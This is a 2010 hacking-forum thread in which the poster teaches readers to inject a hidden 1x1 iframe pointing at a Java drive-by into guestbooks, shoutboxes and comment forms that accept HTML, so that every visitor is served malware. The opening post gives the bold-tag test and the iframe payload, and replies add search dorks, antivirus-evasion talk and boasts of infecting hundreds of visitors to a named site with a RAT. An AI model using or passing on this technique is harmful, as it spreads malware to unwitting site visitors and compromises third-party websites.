

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Embedding java drive-by's in guestbooks/shoutboxes etc.](#)

What's Out There - March 30, 2010, 10:38 am

This tutorial (written by me, not sure if similar has been posted before), will show you how to hide your nasty java drive-by's in (vulnerable) eg. guestbooks, shoutboxes, testimonials, and anything else that has a submission form. The idea of it all is to find some submission form that is vulnerable to HTML injection, then embed an iFrame script to it. Some web owners have blocked use of HTML, some hasn't.

Requirements;

- ? <-- Evil face
- Your java drive-by uploaded to a host
- Skills in finding vulnerable sites (doh)

Head off to google, and search for some.. community, or just "guestbook.php", or something similar. I don't have any specific dorks, but you'll sure find something, believe me, it's not uncommon.

Once you're at the site, find your.. let's say guestbook, and in the message box type something like Code `<b> I R BOLDZ </b>`. If it goes bold when you submit it, you can be 95% sure it's vulnerable. Now go for iFrame. Write the following:

```
Code <iframe src ="JAVA-DRIVEBY LINK HERE" width="1" height="1" frameborder="0">
</iframe>
```

And submit. Now refresh the page (might not be needed), and if your java box pops up, you're a lucky shit. Now just hope that site is a high populated site, and you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. ?

Good luck, and atleast leave a little "thank you" if you have had any success with this.

iLoveDogs - March 30, 2010, 10:44 am

Nice one , thanks ! :D

d0rhc - March 30, 2010, 11:16 am

Thank you! This is awesome.

Great tut.

Dark Molecule - March 30, 2010, 12:28 pm

lol nice tut good 2 know :]

What's Out There - March 30, 2010, 12:55 pm

Thanks guys, haha. I actually did this to a swedish "animal hating clan", in their guestbook. I just wait to see these admins poppin up on my RAT so I can deface that site nicely. They don't have an special exploits since it's like HTML all over.

Affliction - March 30, 2010, 2:55 pm

Dont some anti virus scan iframes though?

What's Out There - March 30, 2010, 3:05 pm

(Mar 30, 2010 02:55 PM)Affliction Wrote: [\[CITE\]](#) Dont some anti virus scan iframes though? Not sure, but some anti-viruses warn for java drive-by's. But if you find some information about iframes getting detected, please tell me, because I am planning to do some imba spreading ?

Yaco - March 30, 2010, 3:07 pm

I have to try this, thanks for this idea.

Affliction - March 30, 2010, 3:16 pm

<http://community.norton.com/t5/Norton-Internet-Security-Norton/Norton-AntiVirus-and-Iframe-Threats/m-p/26562>

theres on thing on it not major but it could get to be..

banii - March 31, 2010, 1:38 am

maybe u can encrypt :D and nice tut man thx

khonakr007 - March 31, 2010, 1:52 am

Grt...

i put this on ma website...

frnds come.. click and infected...!

wolla..cool..

but many of my frnds dnt have basic java runtime installed so thats a problem..

cant we have a flash drive by or something like that..?

00niels00 - March 31, 2010, 4:11 am

(Mar 30, 2010 11:20 AM)Teh Wrote: [\[CITE\]](#) Weaxer Wrote:you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. Yeye

You get a +3 for making me laugh.

That's kinda mean to girls. Beucase they don't have a ballsack.

icebabe117 - March 31, 2010, 4:25 am

This was & is a certainly good tutorial. thanks!

What's Out There - March 31, 2010, 7:01 am

(Mar 31, 2010 04:11 AM)00niels00 Wrote: [\[CITE\]](#) That's kinda mean to girls. Beucase they don't have a ballsack.

Alright, sorry girls, you'll be getting as many victims as centilitres of menstruation in your lifetime. ?

Johnisriot - March 31, 2010, 7:47 am

Haha, thanks man. Sounds like a good deal.

khonakr007 - March 31, 2010, 7:49 am

pretty funny thread.....!!!!!!

ghelatin1 - March 31, 2010, 8:23 am

Nice share Dude! I appreciate it a Lot! What a great trick you have there!

What's Out There - March 31, 2010, 10:45 am

Thanks for all great replies :) May you have luck with this!

HakaVelli - March 31, 2010, 2:14 pm

Great tutorial bro.

too short

Ischyros - March 31, 2010, 6:51 pm

Very nice tut, i wish all the guest books i find that are vulnerable werent for dead peoples.... dunno if i can cross that line ;[

What's Out There - April 3, 2010, 1:59 am

It's hard. It's supposed to be hard ;) Otherwise would all sites in the world be fucked up.

Perforate - April 3, 2010, 3:21 am

Thanks, I will try it out.

919nc - April 3, 2010, 3:24 am

dude yo so rock found sites with this

hemescool - April 3, 2010, 3:29 am

error:

user Account Excceded Bandwidth

This account is not valid.

what to do ?

What's Out There - April 3, 2010, 2:51 pm

(Apr 3, 2010 03:29 AM)hemescool Wrote: [\[CITE\]](#) error:

user Account Excceded Bandwidth

This account is not valid.

what to do ?

Host for the drive-by? Well, probably get a new one.

sector89 - April 3, 2010, 2:56 pm

This is a really good idea thanks for the tutorial

The Trojan Horse - April 3, 2010, 7:22 pm

thankx man.. it worked.. :D

WinA - April 4, 2010, 1:18 am

```
<iframe src ="google.com" width="1" height="1" frameborder="0">
</iframe>
```

does it work on forums?

What's Out There - April 4, 2010, 2:03 am

(Apr 4, 2010 01:18 AM)yingrox Wrote: [\[CITE\]](#) <iframe src ="google.com" width="1" height="1" frameborder="0">

</iframe>

does it work on forums?

Well, it won't work on forums like phpBB, vBulletin and stuff like that. Maybe home-made forums for some weird community. Yesterday I found out that this works on some spots on a community I used to visit ?

What's Out There - April 11, 2010, 5:06 pm

Lmao, I just have to say that right now I did this on some really popular site, and I'm getting like 5 victims per minute. Crazy!

nickyman22 - April 11, 2010, 6:09 pm

thanks for this little trick

dugixy1 - April 12, 2010, 1:46 am

please guys, where write this code

Code:

```
<iframe src ="JAVA-DRIVEBY LINK HERE" width="1" height="1" frameborder="0">
</iframe>
```

in index.html ?

is this corect?

```
<iframe src ="http://mySite.com" width="1" height="1" frameborder="0">
```

if write in index.html,on which place? anywhere?

in some java chats when i write "http://mySite.com" in shotbox i see normal but others se like &(#\$"!)(/!/%\$&&###, how can i know is now everybody see normal like me?

thanks?

What's Out There - April 12, 2010, 1:51 am

Nah you didn't get the point really :P

What you do is find some like.. comments for some news or shit on some website, then you use that iframe script, change it to the link to your java drive-by, and submit it. It'll now popup everytime someone visits that page.

dugixy1 - April 12, 2010, 1:58 am

(Apr 12, 2010 01:51 AM)Weaxer Wrote: [\[CITE\]](#) Nah you didn't get the point really :P

What you do is find some like.. comments for some news or shit on some website, then you use that iframe script, change it to the link to your java drive-by, and submit it. It'll now popup everytime someone visits that page.

thanks for help, do you know for some video tut?

i never use iframe, i have normal java drive with my server exe and work nice.

but this, with iframe i dont understand. i will must fined somebody to show me ,are work for me first time and i will see how thay go.

Htiarana - April 12, 2010, 5:52 pm

Thanks for this. Now I've just gotta find a site with one of these shoutboxes. Not having much luck :/

Konnie - April 12, 2010, 7:02 pm

(Mar 31, 2010 06:51 PM)ischyros Wrote: [\[CITE\]](#) Very nice tut, i wish all the guest books i find that are vulnerable werent for dead peoples.... dunno if i can cross that line ;[
Link me to them. I don't care. :p

numan007 - April 12, 2010, 7:07 pm

Great one best of luck for next>> one

bobblejim - April 13, 2010, 12:02 am

haha, this is a great find. Now I just gotta get my drive by set up properly so I can try to utilize this little trick. Thanks for this.

Htiarana - April 13, 2010, 4:03 am

(Apr 12, 2010 07:02 PM)Konnie Wrote: [\[CITE\]](#) Link me to them. I don't care. :pHaha same :P I am useless at finding any shoutboxes :(

VipVince - April 13, 2010, 4:09 am

Its simply a form of XSS attack really.

JvE - April 13, 2010, 8:41 am

Could someone show us a site where this works...

I type this in dozens of websites and nothing happens when i refresh...

```
<iframe src ="http://carmenverhoeven2.fileave.com/index2.html" width="1" height="1"
frameborder="0">
</iframe>
```

What's Out There - April 13, 2010, 1:56 pm

Now that it's fixed I can tell you all: This worked on <http://fnatic.com/> - I got almost 200 victims in just a few hours, since there also is "latest comment" on all pages, so anywhere the victim went, the java box popped up. I got some professional gamers and shit on my RAT now lol :)

v3xr - April 13, 2010, 7:52 pm

(Mar 30, 2010 10:38 AM)Weaxer Wrote: [\[CITE\]](#) Now just hope that site is a high populated site, and you'll be getting as many victims as sperms in your freaking ballsack. I'm serious. ?made me lol ?

And nice tutorial btw man!

Callmetony - April 29, 2010, 4:48 pm

Would it work for [b.][./b] , No periods of course.

==C0d3ak== - April 29, 2010, 6:36 pm

Man! just can't get that evil face down..

IgNeus - May 1, 2010, 8:41 pm

it doesnt work for me http://www.asddavid.com/ver2/guestbook_2.php look at that site, thats what happens when i try

Tusik - May 1, 2010, 11:19 pm

Thanks for the tutorial. I'll test this one out.

Skyro - May 2, 2010, 12:14 am

Amazing tutorial, will definitely be trying this out.

lorens13 - May 2, 2010, 1:18 am

It's like a XSS,,,thanks for sharing it^^

Fantersam - May 2, 2010, 2:33 am

Awesome. really. I just need to find a page which works

Josh` - May 2, 2010, 3:38 am

Lol cant find any that work :\

What's Out There - May 3, 2010, 6:00 am

Well, it could take some time.. but when you find something, it's so worth it.

alimomani - May 3, 2010, 9:00 am

I've been trying since two hours ..but i couldn't find a guest book that is vulnerable ..and above that ..they all need approval :(

What's Out There - May 6, 2010, 10:02 pm

(May 3, 2010 09:00 AM)alimomani Wrote: [\[CITE\]](#) I've been trying since two hours ..but i couldn't find a guest book that is vulnerable ..and above that ..they all need approval :(

Try to vary and attempt to do it on other submission forms too like comment forms.

bulletmagnet - May 6, 2010, 11:32 pm

this is amazing thanks!

davidflowers90 - May 19, 2010, 12:34 am

i know of two website's muhahahaha, but i'm an active member in one of em. ? is on my one side saying "do it, do it" while ? is on the other side of me

Montana" - May 20, 2010, 10:59 am

It looks great man never thought of this, thanks for sharing.

pyramidhead - June 22, 2010, 12:38 pm

found a property site in seconds greatbtut but do i put the second code into guestbook aswell? sry me noob

Over9kPing - June 22, 2010, 2:28 pm

Very nice. I'ma try this on teenchat.

IceOnFire - June 22, 2010, 4:53 pm

Wow, this is going to be useful! :D

kieron0569 - June 28, 2010, 3:42 am

i dont understand.. ihave a site that accepts all these codes, but nothing comes up.. but **** works.. :S

pwntoken - June 28, 2010, 3:45 am

A very Old TUT, I already Knew this and did Works in IPBoard !

Clothar - June 28, 2010, 9:33 pm
sweetass, thanks man..lol

theshake - June 29, 2010, 2:41 am
where do i put the iframe command ? do i need to download any apps? i have found site that
excepts bold command but where do i put the iframe command ??thanks

SivaKuMar - June 29, 2010, 2:43 am
Thank you! This is awesome.

Aw Ma Gawd - October 9, 2010, 6:08 pm
dosent work for me, i've tested on multiple sites at accept html.

Raijin - October 9, 2010, 6:44 pm
I've tried like 10 diff guestbooks just by the dork inurl:guestbook.php
None of them accept html...fml

shadow - October 10, 2010, 3:19 pm
Anyone know any more dorks?

Carb0n F1ber - October 19, 2010, 6:06 am
Does this still work ?? I tried it on a guest book with asdas and it turned BOLD
But when I load an iFrame, I don't get my java pop up.. BTW, my java page is FUD...